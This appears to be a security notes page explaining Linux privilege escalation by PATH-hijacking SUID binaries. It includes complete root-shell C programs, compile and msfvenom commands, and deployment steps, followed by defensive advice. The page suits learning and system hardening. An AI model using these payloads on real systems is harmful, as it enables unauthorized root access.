Load a Shell with a Simple Executable
A trivial C program can spawn a root shell by exploiting SUID/SGID binaries that call other executables from a PATH-controlled directory. The technique is a variant of the LD_PRELOAD trick but produces a standalone binary rather than a shared library. 1
The C code
Approach 1: execl with setuid/setgid
#include <stdio.h>
#include <unistd.h>
main() {
setuid(0);
setgid(0);
execl("/bin/bash",
"/bin/bash",
"-p",
(char*) NULL);
}Approach 2: system() with setresuid/setregid
#include <stdio.h>
#include <time.h>
main() {
setresuid(0, 0, 0);
setregid(0, 0, 0);
system("/bin/bash -p");
return 0;
}Compilation
gcc -fPIC -o /path/to/malicious /path/to/malicious.cHow it works
- Find a SUID/SGID binary that calls another executable via a relative path (e.g.,
system("service apache2 restart")instead of/usr/sbin/service) - Write this C code, compile it, name it to match the called executable (e.g.,
service) - Place it in a directory earlier in the SUID binary’s PATH
- Execute the SUID binary — it calls our malicious
service, which drops into a root shell
Key detail: The -p flag to bash is essential. Without it, bash drops privileges when the real UID differs from the effective UID — the -p flag preserves the elevated privileges. See bash-p-flag-suid-privileges for the full mechanics.
Comparison with LD_PRELOAD
| SUID executable | LD_PRELOAD | |
|---|---|---|
| Entry point | main() | _init() |
| Compilation | gcc -fPIC -o out.c | gcc -fPIC -shared -nostartfiles -o out.c |
| Delivery | Replace a binary on PATH | Preload a shared library |
| Requires | SUID binary calling relative PATH | SUID binary that doesn’t sanitize LD_PRELOAD |
Metasploit alternative
msfvenom can generate the equivalent binary without writing C:
msfvenom -p linux/x86/exec CMD="/bin/bash -p" -f elf \
-o shell.elfDefense
- Audit SUID/SGID binaries regularly (
find / -perm -4000 -type f 2>/dev/null) - SUID binaries should use absolute paths when calling external executables
- Mount
/tmpand other user-writable directories withnoexec - Remove unnecessary SUID bits — most setuid binaries are not needed
Sources
Related: powershell-reverse-shell, windows-reconnaissance-commands, find-command, vim-shell-escape, ld-preload-trick, bash-ps4-prompt-exploit, bash-exported-function-backdoor, linux-file-capabilities, systemctl-suid-privesc, bash-p-flag-suid-privileges